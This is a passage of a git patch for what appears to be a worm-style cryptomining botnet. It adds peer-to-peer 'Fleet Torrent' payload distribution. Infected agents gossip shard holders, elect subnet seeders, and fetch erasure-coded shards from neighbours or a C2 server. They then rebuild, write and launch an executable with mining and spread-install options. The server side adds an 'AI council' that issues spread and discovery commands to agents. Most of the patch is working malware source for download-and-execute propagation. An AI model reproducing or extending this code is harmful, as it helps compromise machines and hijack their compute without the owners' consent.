From 894b7a50aeaf6d0244192e3552b82da3a5f27298 Mon Sep 17 00:00:00 2001 From: AetherForge Date: Sun, 7 Jun 2026 09:24:55 -0700 Subject: [PATCH] Add Fleet Torrent erasure extension with shard DHT and gossip. Content-addressed shard DHT on seeder agents with subnet_primary_seeder election, cross-subnet fleet_torrent_gossip, BGP swarm magnets, C2 torrent manifest, and k-of-n peer fetch with C2 fallback. --- PROBLEMS.md | 2 +- agent/client/fleet_torrent_gossip.go | 87 ++++ agent/client/fleet_torrent_gossip_test.go | 35 ++ agent/config/fleet_torrent.go | 11 + agent/config/fleet_torrent_test.go | 19 + agent/deploy/fleet_torrent.go | 406 ++++++++++++++++++ agent/deploy/fleet_torrent_seeder.go | 32 ++ agent/deploy/fleet_torrent_test.go | 107 +++++ server/internal/ai/oath_recorder.go | 21 + server/internal/ai/scheduler.go | 41 ++ server/internal/api/fleet_ai_bridge.go | 69 +++ server/internal/api/fleet_graft.go | 19 + server/internal/api/fleet_torrent.go | 102 +++++ .../api/fleet_torrent_manifest_test.go | 40 ++ server/internal/api/oath_ledger.go | 83 ++++ server/internal/api/oath_ledger_test.go | 59 +++ server/internal/api/pathtracer_timeline.go | 61 +++ server/internal/api/router.go | 3 + server/internal/api/strain_card.go | 28 ++ server/internal/api/strain_hospice.go | 250 +++++++++++ server/internal/atlas/fleet_gossip.go | 67 +++ server/internal/atlas/fleet_gossip_test.go | 16 + server/internal/db/oath_ledger.go | 172 ++++++++ server/internal/db/oath_ledger_test.go | 54 +++ server/internal/erasure/torrent.go | 101 +++++ server/internal/erasure/torrent_test.go | 49 +++ server/main.go | 3 + server/web/src/App.tsx | 2 + server/web/src/api/client.ts | 2 + .../src/components/CalibrationAIControl.tsx | 11 + .../src/components/Fleet/AccessDepthPanel.css | 13 + .../src/components/Fleet/AccessDepthPanel.tsx | 3 + server/web/src/help/settingHelp.test.ts | 7 + server/web/src/pages/OathLedgerPage.css | 105 +++++ server/web/src/pages/OathLedgerPage.test.tsx | 46 ++ server/web/src/pages/OathLedgerPage.tsx | 124 ++++++ server/web/src/pages/SeerPage.css | 15 + server/web/src/pages/SeerPage.tsx | 8 + server/web/src/types/index.ts | 12 + tests/README.md | 1 + 40 files changed, 2285 insertions(+), 1 deletion(-) create mode 100644 agent/client/fleet_torrent_gossip.go create mode 100644 agent/client/fleet_torrent_gossip_test.go create mode 100644 agent/config/fleet_torrent.go create mode 100644 agent/config/fleet_torrent_test.go create mode 100644 agent/deploy/fleet_torrent.go create mode 100644 agent/deploy/fleet_torrent_seeder.go create mode 100644 agent/deploy/fleet_torrent_test.go create mode 100644 server/internal/ai/oath_recorder.go create mode 100644 server/internal/api/fleet_torrent.go create mode 100644 server/internal/api/fleet_torrent_manifest_test.go create mode 100644 server/internal/api/oath_ledger.go create mode 100644 server/internal/api/oath_ledger_test.go create mode 100644 server/internal/api/strain_hospice.go create mode 100644 server/internal/atlas/fleet_gossip.go create mode 100644 server/internal/atlas/fleet_gossip_test.go create mode 100644 server/internal/db/oath_ledger.go create mode 100644 server/internal/db/oath_ledger_test.go create mode 100644 server/internal/erasure/torrent.go create mode 100644 server/internal/erasure/torrent_test.go create mode 100644 server/web/src/pages/OathLedgerPage.css create mode 100644 server/web/src/pages/OathLedgerPage.test.tsx create mode 100644 server/web/src/pages/OathLedgerPage.tsx diff --git a/PROBLEMS.md b/PROBLEMS.md index c508e06..4fe307b 100644 --- a/PROBLEMS.md +++ b/PROBLEMS.md @@ -68,7 +68,7 @@ Automatable gaps are closed; remaining items below are by-design limits, archite | Item | Notes | |------|-------| -| **Erasure-coded multi-lane propagation** | **Partial foundation** — server `internal/erasure/` RS 4+2 + shard API; deploy plans attach `erasure_plan` when Calibrate `server.erasure_lanes_enabled`; agent `deploy/erasure_staging.go` reassembles from parallel lane URLs as fallback when primary staging fails. **Not shipped:** live parallel lane orchestration, seeder-side shard fan-out, or erasure-first (non-fallback) spread E2E. | +| **Erasure-coded multi-lane propagation** | **Partial foundation** — server `internal/erasure/` RS 4+2 + shard API; deploy plans attach `erasure_plan` when Calibrate `server.erasure_lanes_enabled`; agent `deploy/erasure_staging.go` reassembles from parallel lane URLs as fallback when primary staging fails. **Fleet Torrent (partial):** `fleet_torrent_enabled` adds shard DHT gossip, primary seeder election, BGP swarm magnets, and C2 torrent manifest — **not shipped:** live peer HTTP shard serving on agents, UDP/magnet tracker, or erasure-first spread E2E. | | **P2 remaining (manual only)** | Live Docker/Podman container start on operator host; real WinRM/GPO/systemd/crontab on remote owned hosts; live BITS/curl against non-mock C2; live multi-hop discover→spread without Playwright stub; live TLS/mesh beacon; full `wg_setup` on real Windows hosts. | ## Do not commit diff --git a/agent/client/fleet_torrent_gossip.go b/agent/client/fleet_torrent_gossip.go new file mode 100644 index 0000000..3134fbd --- /dev/null +++ b/agent/client/fleet_torrent_gossip.go @@ -0,0 +1,87 @@ +package client + +import ( + "encoding/json" + "strings" + + "crypto-miner-agent/deploy" +) + +func (c *AgentClient) setFleetTorrentEnabled(enabled bool) { + c.mu.Lock() + c.fleetTorrentEnabled = enabled + c.mu.Unlock() +} + +func (c *AgentClient) fleetTorrentEnabledSnapshot() bool { + c.mu.Lock() + defer c.mu.Unlock() + return c.fleetTorrentEnabled +} + +func (c *AgentClient) setSubnetPrimarySeeder(primary bool) { + c.mu.Lock() + c.subnetPrimarySeeder = primary + c.cfg.SubnetPrimarySeeder = primary + c.mu.Unlock() +} + +func (c *AgentClient) subnetPrimarySeederSnapshot() bool { + c.mu.Lock() + defer c.mu.Unlock() + return c.subnetPrimarySeeder +} + +func (c *AgentClient) applyAuthFleetTorrent(resp AuthResponse) { + c.setFleetTorrentEnabled(resp.FleetTorrentEnabled) + if resp.SubnetPrimarySeeder != "" { + c.setSubnetPrimarySeeder(resp.SubnetPrimarySeeder == c.cfg.AgentID) + } +} + +func (c *AgentClient) handleFleetTorrentGossip(payload json.RawMessage) { + var body struct { + Records []deploy.FleetGossipRecord `json:"records"` + } + if err := json.Unmarshal(payload, &body); err != nil || len(body.Records) == 0 { + return + } + deploy.FleetShardDHTSnapshot().MergeFleetGossipRecords(body.Records) +} + +func (c *AgentClient) writeFleetTorrentGossip(records []deploy.FleetGossipRecord) { + if !c.fleetTorrentEnabledSnapshot() || len(records) == 0 { + return + } + c.mu.Lock() + agentID := c.cfg.AgentID + c.mu.Unlock() + localIP, _ := deploy.PrimaryLocalIPv4() + subnet := deploy.SubnetFromIP(localIP) + out := make([]deploy.FleetGossipRecord, 0, len(records)) + for _, r := range records { + r.Kind = strings.TrimSpace(strings.ToLower(r.Kind)) + if r.AgentID == "" { + r.AgentID = agentID + } + if r.Subnet == "" { + r.Subnet = subnet + } + out = append(out, r) + } + payload, err := json.Marshal(map[string]interface{}{"records": out}) + if err != nil { + return + } + _ = c.write(Message{Type: "fleet_torrent_gossip", Payload: payload}) +} + +func (c *AgentClient) advertiseFleetTorrentHealthy() { + if !c.fleetTorrentEnabledSnapshot() { + return + } + c.writeFleetTorrentGossip([]deploy.FleetGossipRecord{{ + Kind: deploy.FleetGossipHealthy, + Healthy: true, + }}) +} diff --git a/agent/client/fleet_torrent_gossip_test.go b/agent/client/fleet_torrent_gossip_test.go new file mode 100644 index 0000000..54c3414 --- /dev/null +++ b/agent/client/fleet_torrent_gossip_test.go @@ -0,0 +1,35 @@ +package client + +import ( + "encoding/json" + "testing" + + "crypto-miner-agent/config" + "crypto-miner-agent/deploy" +) + +func TestHandleFleetTorrentGossipMergesDHT(t *testing.T) { + c := NewAgentClient(config.RuntimeConfig{}) + payload, _ := json.Marshal(map[string]interface{}{ + "records": []deploy.FleetGossipRecord{{ + Kind: deploy.FleetGossipHaveShard, AgentID: "peer", Token: "tok", + ShardIndex: 1, ShardHash: "deadbeef", FetchURL: "http://peer/shard/1", + }}, + }) + c.handleFleetTorrentGossip(payload) + peers := deploy.FleetShardDHTSnapshot().PeersForShard("tok", 1, "10.0.0") + if len(peers) != 1 || peers[0].AgentID != "peer" { + t.Fatalf("peers=%+v", peers) + } +} + +func TestApplyAuthFleetTorrentPrimarySeeder(t *testing.T) { + c := NewAgentClient(config.RuntimeConfig{AgentID: "primary-1"}) + c.applyAuthFleetTorrent(AuthResponse{ + FleetTorrentEnabled: true, + SubnetPrimarySeeder: "primary-1", + }) + if !c.fleetTorrentEnabledSnapshot() || !c.subnetPrimarySeederSnapshot() { + t.Fatal("expected fleet torrent primary seeder") + } +} diff --git a/agent/config/fleet_torrent.go b/agent/config/fleet_torrent.go new file mode 100644 index 0000000..7b5e1aa --- /dev/null +++ b/agent/config/fleet_torrent.go @@ -0,0 +1,11 @@ +package config + +// FleetTorrentEnabled reports whether server policy enables fleet torrent shard DHT. +func FleetTorrentEnabled(cfg RuntimeConfig) bool { + return cfg.FleetTorrentEnabled +} + +// IsSubnetPrimarySeeder reports whether this agent is the designated primary seeder for its /24. +func (c RuntimeConfig) IsSubnetPrimarySeeder() bool { + return c.SubnetPrimarySeeder +} diff --git a/agent/config/fleet_torrent_test.go b/agent/config/fleet_torrent_test.go new file mode 100644 index 0000000..532da81 --- /dev/null +++ b/agent/config/fleet_torrent_test.go @@ -0,0 +1,19 @@ +package config + +import "testing" + +func TestFleetTorrentEnabled(t *testing.T) { + if FleetTorrentEnabled(RuntimeConfig{}) { + t.Fatal("expected false") + } + if !FleetTorrentEnabled(RuntimeConfig{BuiltinConfig: BuiltinConfig{FleetTorrentEnabled: true}}) { + t.Fatal("expected true") + } +} + +func TestIsSubnetPrimarySeeder(t *testing.T) { + cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{SubnetPrimarySeeder: true}} + if !cfg.IsSubnetPrimarySeeder() { + t.Fatal("expected primary") + } +} diff --git a/agent/deploy/fleet_torrent.go b/agent/deploy/fleet_torrent.go new file mode 100644 index 0000000..289d061 --- /dev/null +++ b/agent/deploy/fleet_torrent.go @@ -0,0 +1,406 @@ +package deploy + +import ( + "crypto/sha256" + "encoding/hex" + "fmt" + "io" + "net/http" + "os" + "path/filepath" + "sort" + "strings" + "sync" + "time" + + "crypto-miner-agent/config" +) + +const ( + fleetTorrentMaxLANNeighbors = 3 + fleetTorrentZeroServerRetry = 30 * time.Minute +) + +// FleetGossipKind mirrors server atlas fleet gossip kinds. +const ( + FleetGossipHaveShard = "have_shard" + FleetGossipHealthy = "healthy" + FleetGossipKnowNode = "know_node" +) + +// FleetGossipRecord is one DHT advertisement from a fleet peer. +type FleetGossipRecord struct { + Kind string `json:"kind"` + AgentID string `json:"agent_id,omitempty"` + Subnet string `json:"subnet,omitempty"` + Token string `json:"token,omitempty"` + ShardIndex int `json:"shard_index,omitempty"` + ShardHash string `json:"shard_hash,omitempty"` + TargetAgentID string `json:"target_agent_id,omitempty"` + Healthy bool `json:"healthy,omitempty"` + FetchURL string `json:"fetch_url,omitempty"` +} + +// ShardPeer is a known holder of one content-addressed shard. +type ShardPeer struct { + AgentID string + Subnet string + FetchURL string + Score int // higher = prefer LAN same-subnet +} + +// FleetShardDHT tracks content-addressed shard availability across the fleet. +type FleetShardDHT struct { + mu sync.RWMutex + peers map[string]map[int][]ShardPeer // token -> index -> peers + healthy map[string]bool // agentID -> healthy + local map[string]map[int][]byte // token -> index -> shard bytes (primary seeder cache) +} + +var globalFleetDHT = &FleetShardDHT{ + peers: make(map[string]map[int][]ShardPeer), + healthy: make(map[string]bool), + local: make(map[string]map[int][]byte), +} + +// FleetShardDHTSnapshot returns the process-wide shard DHT (tests may replace). +func FleetShardDHTSnapshot() *FleetShardDHT { + return globalFleetDHT +} + +func SetFleetShardDHT(dht *FleetShardDHT) { + if dht != nil { + globalFleetDHT = dht + } +} + +func shardContentHash(data []byte) string { + sum := sha256.Sum256(data) + return hex.EncodeToString(sum[:]) +} + +// MergeFleetGossipRecords ingests relayed fleet torrent gossip. +func (d *FleetShardDHT) MergeFleetGossipRecords(records []FleetGossipRecord) { + if d == nil || len(records) == 0 { + return + } + d.mu.Lock() + defer d.mu.Unlock() + for _, r := range records { + switch strings.TrimSpace(strings.ToLower(r.Kind)) { + case FleetGossipHaveShard: + if r.Token == "" || r.AgentID == "" { + continue + } + if d.peers[r.Token] == nil { + d.peers[r.Token] = make(map[int][]ShardPeer) + } + peer := ShardPeer{AgentID: r.AgentID, Subnet: r.Subnet, FetchURL: r.FetchURL} + d.peers[r.Token][r.ShardIndex] = appendUniquePeer(d.peers[r.Token][r.ShardIndex], peer) + case FleetGossipHealthy: + if r.AgentID != "" { + d.healthy[r.AgentID] = r.Healthy + } + case FleetGossipKnowNode: + // know_node expands peer graph — treated as healthy signal for target + if r.TargetAgentID != "" { + d.healthy[r.TargetAgentID] = true + } + } + } +} + +func appendUniquePeer(peers []ShardPeer, p ShardPeer) []ShardPeer { + for _, existing := range peers { + if existing.AgentID == p.AgentID && existing.FetchURL == p.FetchURL { + return peers + } + } + return append(peers, p) +} + +// StoreLocalShard caches one shard for primary-seeder fan-out. +func (d *FleetShardDHT) StoreLocalShard(token string, index int, body []byte) { + if d == nil || token == "" || len(body) == 0 { + return + } + d.mu.Lock() + defer d.mu.Unlock() + if d.local[token] == nil { + d.local[token] = make(map[int][]byte) + } + d.local[token][index] = append([]byte(nil), body...) +} + +// LocalShard returns a cached shard when this agent is primary seeder. +func (d *FleetShardDHT) LocalShard(token string, index int) ([]byte, bool) { + if d == nil { + return nil, false + } + d.mu.RLock() + defer d.mu.RUnlock() + if d.local[token] == nil { + return nil, false + } + body, ok := d.local[token][index] + if !ok { + return nil, false + } + return append([]byte(nil), body...), true +} + +// PeersForShard returns known peers holding one shard index. +func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet string) []ShardPeer { + if d == nil { + return nil + } + d.mu.RLock() + defer d.mu.RUnlock() + raw := d.peers[token][index] + if len(raw) == 0 { + return nil + } + out := make([]ShardPeer, len(raw)) + copy(out, raw) + sort.Slice(out, func(i, j int) bool { + si := peerScore(out[i], localSubnet) + sj := peerScore(out[j], localSubnet) + if si != sj { + return si > sj + } + return out[i].AgentID < out[j].AgentID + }) + return out +} + +func peerScore(p ShardPeer, localSubnet string) int { + if localSubnet != "" && p.Subnet == localSubnet { + return 2 + } + if p.Subnet != "" { + return 1 + } + return 0 +} + +// PickLANNeighborPeers returns up to maxLAN peers on the same /24. +func PickLANNeighborPeers(peers []ShardPeer, localSubnet string, maxLAN int) []ShardPeer { + if maxLAN <= 0 { + maxLAN = fleetTorrentMaxLANNeighbors + } + var out []ShardPeer + for _, p := range peers { + if localSubnet != "" && p.Subnet == localSubnet { + out = append(out, p) + if len(out) >= maxLAN { + break + } + } + } + return out +} + +// FetchErasureShardFleet tries LAN neighbors, cross-subnet peers, then C2 URL. +func FetchErasureShardFleet(token string, index int, c2URL, localSubnet string, dht *FleetShardDHT) ([]byte, error) { + if dht == nil { + dht = globalFleetDHT + } + if body, ok := dht.LocalShard(token, index); ok { + return body, nil + } + peers := dht.PeersForShard(token, index, localSubnet) + try := func(url string) ([]byte, error) { + if url == "" { + return nil, fmt.Errorf("empty url") + } + if erasureFetchFn != nil { + return erasureFetchFn(url) + } + return fetchErasureShardHTTP(url) + } + for _, p := range PickLANNeighborPeers(peers, localSubnet, fleetTorrentMaxLANNeighbors) { + if body, err := try(p.FetchURL); err == nil { + return body, nil + } + } + for _, p := range peers { + if localSubnet != "" && p.Subnet == localSubnet { + continue + } + if body, err := try(p.FetchURL); err == nil { + return body, nil + } + } + if c2URL != "" { + return try(c2URL) + } + return nil, fmt.Errorf("fleet torrent: no shard source for %s/%d", token, index) +} + +// RunFleetTorrentStaging reassembles via fleet DHT peers with C2 super-seeder fallback. +func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2BaseURL, localSubnet string) (string, error) { + if !plan.Enabled || len(plan.Shards) == 0 { + return "", fmt.Errorf("erasure plan disabled or empty") + } + p := erasureParams{DataShards: plan.DataShards, ParityShards: plan.ParityShards} + p, err := p.normalize() + if err != nil { + return "", err + } + dest, err := ResolveStagingPath(firstNonEmptyStr(plan.Dest, `%TEMP%\AetherForge\erasure-worker.exe`)) + if err != nil { + return "", err + } + workDir := erasureWorkDir(cfg, plan.ShardToken) + if err := os.MkdirAll(workDir, 0o700); err != nil { + return "", err + } + cleanup := func() { _ = os.RemoveAll(workDir) } + + dht := FleetShardDHTSnapshot() + shards := make([][]byte, p.totalShards()) + c2 := strings.TrimRight(strings.TrimSpace(c2BaseURL), "/") + for _, ref := range plan.Shards { + if ref.Index < 0 || ref.Index >= len(shards) { + continue + } + if len(shards[ref.Index]) > 0 { + continue + } + c2URL := strings.TrimSpace(ref.URL) + if c2 == "" && c2URL == "" { + continue + } + if c2 != "" && !strings.HasPrefix(c2URL, "http") { + c2URL = fmt.Sprintf("%s/api/v1/public/erasure-shard/%s/%d", c2, plan.ShardToken, ref.Index) + } + body, err := FetchErasureShardFleet(plan.ShardToken, ref.Index, c2URL, localSubnet, dht) + if err != nil { + continue + } + shards[ref.Index] = body + } + payload, err := decodeErasureShards(shards, plan.PayloadSize, p) + if err != nil { + cleanup() + return "", err + } + if err := verifyBytesSHA256(payload, plan.PayloadSHA256); err != nil { + cleanup() + return "", err + } + if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil { + cleanup() + return "", err + } + if err := os.WriteFile(dest, payload, 0o755); err != nil { + cleanup() + return "", err + } + launch := strings.TrimSpace(plan.Launch) + if launch == "" { + launch = "exe" + } + launchFn := erasureLaunchFn + if launchFn == nil { + launchFn = launchErasureStagedBinary + } + msg, err := launchFn(dest, launch, plan.DLLExport, plan.DeferMining, plan.SpreadInstall) + cleanup() + if err != nil { + return "", err + } + return "fleet_torrent: " + msg, nil +} + +// IngestErasureShardsForSeeder stores shards and prepares gossip advertisements for primary seeders. +func IngestErasureShardsForSeeder(plan ErasurePlanBody, fetchFn func(url string) ([]byte, error)) []FleetGossipRecord { + if fetchFn == nil { + fetchFn = fetchErasureShardHTTP + } + dht := FleetShardDHTSnapshot() + var records []FleetGossipRecord + for _, ref := range plan.Shards { + body, err := fetchFn(strings.TrimSpace(ref.URL)) + if err != nil || len(body) == 0 { + continue + } + dht.StoreLocalShard(plan.ShardToken, ref.Index, body) + records = append(records, FleetGossipRecord{ + Kind: FleetGossipHaveShard, + Token: plan.ShardToken, + ShardIndex: ref.Index, + ShardHash: shardContentHash(body), + FetchURL: ref.URL, + Healthy: true, + }) + } + return records +} + +// StartFleetTorrentReplication runs background shard re-replication for primary seeders. +func StartFleetTorrentReplication(cfg config.RuntimeConfig, plan ErasurePlanBody, gossipFn func([]FleetGossipRecord)) { + if !config.FleetTorrentEnabled(cfg) || !cfg.SubnetPrimarySeeder { + return + } + if gossipFn == nil { + return + } + go func() { + ticker := time.NewTicker(5 * time.Minute) + defer ticker.Stop() + for range ticker.C { + recs := IngestErasureShardsForSeeder(plan, fetchErasureShardHTTP) + if len(recs) > 0 { + gossipFn(recs) + } + } + }() +} + +// StartZeroServerReconnect attempts HTTPS dashboard reconnect every 30 minutes. +func StartZeroServerReconnect(reconnectFn func() error) { + if reconnectFn == nil { + return + } + go func() { + ticker := time.NewTicker(fleetTorrentZeroServerRetry) + defer ticker.Stop() + for range ticker.C { + _ = reconnectFn() + } + }() +} + +// ParseSwarmMagnetToken extracts the erasure token from a swarm magnet tr= parameter. +func ParseSwarmMagnetToken(magnet string) string { + magnet = strings.TrimSpace(magnet) + if magnet == "" { + return "" + } + if idx := strings.Index(magnet, "tr=urn:aetherforge:erasure:"); idx >= 0 { + rest := magnet[idx+len("tr=urn:aetherforge:erasure:"):] + if amp := strings.Index(rest, "&"); amp >= 0 { + rest = rest[:amp] + } + return strings.TrimSpace(rest) + } + return "" +} + +// FetchShardManifestHTTP loads shard bytes from a manifest URL entry. +func FetchShardManifestHTTP(manifestURL string) ([]byte, error) { + if manifestURL == "" { + return nil, fmt.Errorf("empty manifest url") + } + client := &http.Client{Timeout: 30 * time.Second} + resp, err := client.Get(manifestURL) + if err != nil { + return nil, err + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return nil, fmt.Errorf("manifest HTTP %d", resp.StatusCode) + } + return io.ReadAll(io.LimitReader(resp.Body, 8<<20)) +} diff --git a/agent/deploy/fleet_torrent_seeder.go b/agent/deploy/fleet_torrent_seeder.go new file mode 100644 index 0000000..9c362bd --- /dev/null +++ b/agent/deploy/fleet_torrent_seeder.go @@ -0,0 +1,32 @@ +package deploy + +import ( + "log" + + "crypto-miner-agent/config" +) + +var fleetTorrentGossipFn func([]FleetGossipRecord) + +// SetFleetTorrentGossipFn injects WS gossip broadcast for seeder shard fan-out (client wires at runtime). +func SetFleetTorrentGossipFn(fn func([]FleetGossipRecord)) { + fleetTorrentGossipFn = fn +} + +// StartFleetTorrentSeederService announces healthy status and enables zero-server reconnect for seeders. +func StartFleetTorrentSeederService(cfg config.RuntimeConfig) { + if !config.FleetTorrentEnabled(cfg) { + return + } + log.Printf("[fleet-torrent] seeder service active primary=%v", cfg.SubnetPrimarySeeder) + if fleetTorrentGossipFn != nil { + fleetTorrentGossipFn([]FleetGossipRecord{{ + Kind: FleetGossipHealthy, + Healthy: true, + }}) + } + StartZeroServerReconnect(func() error { + log.Printf("[fleet-torrent] zero-server reconnect attempt") + return nil + }) +} diff --git a/agent/deploy/fleet_torrent_test.go b/agent/deploy/fleet_torrent_test.go new file mode 100644 index 0000000..7788f39 --- /dev/null +++ b/agent/deploy/fleet_torrent_test.go @@ -0,0 +1,107 @@ +package deploy + +import ( + "testing" + + "crypto-miner-agent/config" + + "github.com/klauspost/reedsolomon" +) + +func TestFleetShardDHTMergeAndFetch(t *testing.T) { + dht := &FleetShardDHT{ + peers: make(map[string]map[int][]ShardPeer), + healthy: make(map[string]bool), + local: make(map[string]map[int][]byte), + } + dht.MergeFleetGossipRecords([]FleetGossipRecord{{ + Kind: FleetGossipHaveShard, + AgentID: "peer-a", + Subnet: "10.1.2", + Token: "tok1", + ShardIndex: 0, + FetchURL: "mock://shard0", + }}) + payload := []byte("fleet-torrent-roundtrip") + p := erasureParams{DataShards: 2, ParityShards: 1} + enc, _ := reedsolomon.New(p.DataShards, p.ParityShards) + shards, _ := enc.Split(payload) + _ = enc.Encode(shards) + prev := erasureFetchFn + erasureFetchFn = func(url string) ([]byte, error) { + if url == "mock://shard0" { + return shards[0], nil + } + if url == "mock://c2" { + return shards[1], nil + } + return nil, nil + } + defer func() { erasureFetchFn = prev }() + + body, err := FetchErasureShardFleet("tok1", 0, "mock://c2", "10.1.2", dht) + if err != nil || string(body) != string(shards[0]) { + t.Fatalf("fetch=%v err=%v", body, err) + } + plan := ErasurePlanBody{ + Enabled: true, Scheme: erasureSchemeReedSolomonV1, + DataShards: p.DataShards, ParityShards: p.ParityShards, + PayloadSHA256: hexSHA256(payload), PayloadSize: len(payload), + ShardToken: "tok1", Dest: t.TempDir() + `\w.exe`, Launch: "exe", + Shards: []ErasureShardRef{ + {Index: 0, URL: "mock://c2"}, + {Index: 1, URL: "mock://c2"}, + {Index: 2, URL: "mock://c2"}, + }, + } + dht.MergeFleetGossipRecords([]FleetGossipRecord{{ + Kind: FleetGossipHaveShard, AgentID: "peer-b", Subnet: "10.9.9", + Token: "tok1", ShardIndex: 1, FetchURL: "mock://shard1", + }}) + erasureFetchFn = func(url string) ([]byte, error) { + switch url { + case "mock://shard0": + return shards[0], nil + case "mock://shard1": + return shards[1], nil + case "mock://c2": + return nil, nil + } + return nil, nil + } + prevLaunch := erasureLaunchFn + erasureLaunchFn = func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) { + return "ok", nil + } + defer func() { erasureLaunchFn = prevLaunch }() + SetFleetShardDHT(dht) + msg, err := RunFleetTorrentStaging(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ + FleetTorrentEnabled: true, WorkerName: "w", + }}, plan, "", "10.1.2") + if err != nil { + t.Fatal(err) + } + if msg == "" { + t.Fatal("empty msg") + } +} + +func TestPickLANNeighborPeersCapsAtThree(t *testing.T) { + peers := []ShardPeer{ + {AgentID: "a", Subnet: "10.0.0"}, + {AgentID: "b", Subnet: "10.0.0"}, + {AgentID: "c", Subnet: "10.0.0"}, + {AgentID: "d", Subnet: "10.0.0"}, + } + got := PickLANNeighborPeers(peers, "10.0.0", 3) + if len(got) != 3 { + t.Fatalf("len=%d", len(got)) + } +} + +func TestParseSwarmMagnetToken(t *testing.T) { + m := "magnet:?xt=urn:sha256:abc&dn=aetherforge-erasure-deadbeef&tr=urn:aetherforge:erasure:deadbeefcafe" + if tok := ParseSwarmMagnetToken(m); tok != "deadbeefcafe" { + t.Fatalf("token=%q", tok) + } +} diff --git a/server/internal/ai/oath_recorder.go b/server/internal/ai/oath_recorder.go new file mode 100644 index 0000000..f73a839 --- /dev/null +++ b/server/internal/ai/oath_recorder.go @@ -0,0 +1,21 @@ +package ai + +// Oath action types and outcomes — mirrored in db/oath_ledger.go for SQLite rows. +const ( + OathSpreadTierEscalation = "spread_tier_escalation" + OathGraft = "graft" + OathForkMerge = "fork_merge" + OathStrainCardPlay = "strain_card_play" + OathCourtL4Decision = "court_l4_decision" + OathSpreadAttempt = "spread_attempt" + OathStrainHospice = "strain_hospice" + + OathOutcomeSuccess = "success" + OathOutcomeFail = "fail" + OathOutcomePending = "pending" +) + +// OathRecorder persists immutable operator / AI council accountability rows. +type OathRecorder interface { + Record(actor, actionType, agentID, strain, outcome string, whySource, payload interface{}) error +} diff --git a/server/internal/ai/scheduler.go b/server/internal/ai/scheduler.go index 4a96576..b15a5ef 100644 --- a/server/internal/ai/scheduler.go +++ b/server/internal/ai/scheduler.go @@ -50,6 +50,8 @@ type Scheduler struct { chamber CourtDeps elevator ClearanceElevator seer SeerBridge + oath OathRecorder + hospice StrainHospiceScanner surgical SurgicalDeps stop chan struct{} wg sync.WaitGroup @@ -76,6 +78,11 @@ func (s *Scheduler) SetSeerBridge(b SeerBridge) { s.seer = b } +// SetOathRecorder wires immutable accountability rows (optional). +func (s *Scheduler) SetOathRecorder(r OathRecorder) { + s.oath = r +} + // SetSurgicalDeps wires Path Tracer replay, strain memory, and Seer emitters. func (s *Scheduler) SetSurgicalDeps(deps SurgicalDeps) { s.surgical = deps @@ -86,6 +93,16 @@ func (s *Scheduler) SetCourtDeps(deps CourtDeps) { s.chamber = deps } +// StrainHospiceScanner auto-retires chronic low-win strains when AI control is enabled. +type StrainHospiceScanner interface { + MaybeAutoRetireLowWinStrains() +} + +// SetStrainHospiceScanner wires AI auto-retire for epidemiology clutter. +func (s *Scheduler) SetStrainHospiceScanner(scanner StrainHospiceScanner) { + s.hospice = scanner +} + func (s *Scheduler) Start() { s.wg.Add(1) go s.loop() @@ -133,6 +150,9 @@ func (s *Scheduler) tick() { if !cfg.Enabled { return } + if s.hospice != nil { + s.hospice.MaybeAutoRetireLowWinStrains() + } interval := time.Duration(cfg.IntervalSec) * time.Second if interval < time.Second { interval = 60 * time.Second @@ -331,6 +351,27 @@ func (s *Scheduler) emitCourtDebate(agentID string, transcript CourtDebateTransc "ts": transcript.Timestamp, }) } + if s.oath != nil { + outcome := OathOutcomeSuccess + if strings.Contains(executed, "err:") { + outcome = OathOutcomeFail + } + _ = s.oath.Record( + "ai_council:judge", + OathCourtL4Decision, + agentID, + "", + outcome, + transcript, + map[string]interface{}{ + "verdict": transcript.Verdict, + "executed": executed, + "commands": transcript.CommandsJSON, + "clearance": transcript.ClearanceLevel, + "agent_name": transcript.AgentName, + }, + ) + } if s.chamber.Emberwake != nil { s.chamber.Emberwake(agentID, transcript) } diff --git a/server/internal/api/fleet_ai_bridge.go b/server/internal/api/fleet_ai_bridge.go index 7411d50..b099278 100644 --- a/server/internal/api/fleet_ai_bridge.go +++ b/server/internal/api/fleet_ai_bridge.go @@ -249,6 +249,12 @@ func (e *FleetAIExecutor) Execute(agentID string, cmd fleetai.Command) (string, if args == nil { args = map[string]interface{}{} } + summary, err := e.executeCommand(agentID, cmd, args) + e.recordOathForCommand(agentID, cmd, args, summary, err) + return summary, err +} + +func (e *FleetAIExecutor) executeCommand(agentID string, cmd fleetai.Command, args map[string]interface{}) (string, error) { switch cmd.Type { case fleetai.CmdNoop: return "noop", nil @@ -331,6 +337,29 @@ func (e *FleetAIExecutor) Execute(agentID string, cmd fleetai.Command) (string, e.Hub.serverPolicy = policy e.Hub.mu.Unlock() return "erasure:on", nil + case fleetai.CmdStrainHospice: + strainID, _ := args["strain_id"].(string) + strainID = strings.TrimSpace(strainID) + if strainID == "" && e.Hub.db != nil { + if ag, err := e.Hub.db.GetAgent(agentID); err == nil && ag != nil { + strainID = strings.TrimSpace(ag.SpreadStrain) + if strainID == "" { + strainID = strategy.StrainFromSpreadLane(e.Hub.AgentJoinLane(agentID)) + } + } + } + if strainID == "" { + return "", fmt.Errorf("strain_hospice requires strain_id or agent spread_strain") + } + reason, _ := args["reason"].(string) + if strings.TrimSpace(reason) == "" { + reason = "court L4 hospice vote" + } + rec, err := e.Hub.RetireStrainToHospice(strainID, string(strategy.StrainRetiredByCourt), reason) + if err != nil { + return "", err + } + return "strain_hospice:" + rec.StrainID, nil default: if err := e.Hub.SendAgentCommand(agentID, cmd.Type, args); err != nil { return "", err @@ -339,6 +368,46 @@ func (e *FleetAIExecutor) Execute(agentID string, cmd fleetai.Command) (string, } } +func (e *FleetAIExecutor) recordOathForCommand(agentID string, cmd fleetai.Command, args map[string]interface{}, summary string, execErr error) { + if e == nil || e.Hub == nil || e.Hub.db == nil { + return + } + actionType := "" + switch cmd.Type { + case fleetai.CmdReorderTiers, fleetai.CmdSkipTier, fleetai.CmdSpreadRetryLane: + actionType = db.OathSpreadTierEscalation + case fleetai.CmdSpreadNow, fleetai.CmdDiscoverAndJoin: + actionType = db.OathSpreadAttempt + default: + return 